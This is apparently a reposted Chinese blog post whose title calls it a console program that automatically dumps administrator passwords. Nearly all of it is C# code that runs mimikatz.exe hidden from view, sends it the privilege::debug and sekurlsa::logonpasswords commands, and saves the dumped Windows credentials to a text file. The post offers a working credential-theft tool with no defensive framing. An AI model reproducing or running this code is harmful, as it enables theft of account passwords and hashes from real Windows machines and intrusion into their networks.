自动dump管理员密码控制台程序编写

来源:互联网 发布:imap ssl 端口 编辑:程序博客网 时间:2024/05/16 17:30
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;


namespace hez
{
    class Program
    {
        public static string sout = "";
        static void Main(string[] args)
        {
            string item = "privilege::debug";
            string item3 = "log sekurlsa.log";
            string item2 = "sekurlsa::logonpasswords";
            string fl = AppDomain.CurrentDomain.BaseDirectory + "mimikatz.exe";
            string fl2 = AppDomain.CurrentDomain.BaseDirectory + "mimikatz.txt";
          






            if (File.Exists(fl))
            {
                // p.StartInfo.FileName = fl;
                // ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe");
                ProcessStartInfo startInfo = new ProcessStartInfo(fl);


                startInfo.CreateNoWindow = true;   //不创建窗口


                startInfo.UseShellExecute = false;//不使用系统外壳程序启动,重定向输出的话必须设为false


                startInfo.RedirectStandardOutput = true; //重定向输出,而不是默认的显示在dos控制台上


                startInfo.RedirectStandardError = true;
                startInfo.RedirectStandardInput = true;
                Process p = new Process();


                Process process = Process.Start(startInfo);


                process.OutputDataReceived += p_OutputDataReceived;


                process.ErrorDataReceived += (s, _e) => Console.WriteLine(_e.Data);


                //当EnableRaisingEvents为true,进程退出时Process会调用下面的委托函数


               // process.Exited += (s, _e) => Console.WriteLine("Exited with " + process.ExitCode);


                process.EnableRaisingEvents = true;


                process.BeginOutputReadLine();


                process.BeginErrorReadLine();
                process.StandardInput.WriteLine(item);
                process.StandardInput.WriteLine(item3);
                Thread.Sleep(3000);
                process.StandardInput.WriteLine(item2);
                Thread.Sleep(3000);
                process.StandardInput.WriteLine("exit");
                process.WaitForExit();


                process.Close();
                if (File.Exists(fl2))
                {


                    File.Delete(fl2);
                }
                FileStream fs = new FileStream(fl2, FileMode.CreateNew);


                BinaryWriter br = new BinaryWriter(fs);


                br.Write(sout);


                fs.Close();


                br.Close();




            }
        }


        static void p_OutputDataReceived(object sender, DataReceivedEventArgs e)
        {
            Console.WriteLine(e.Data);
            sout += e.Data;




        }
    }
}
0 0
原创粉丝点击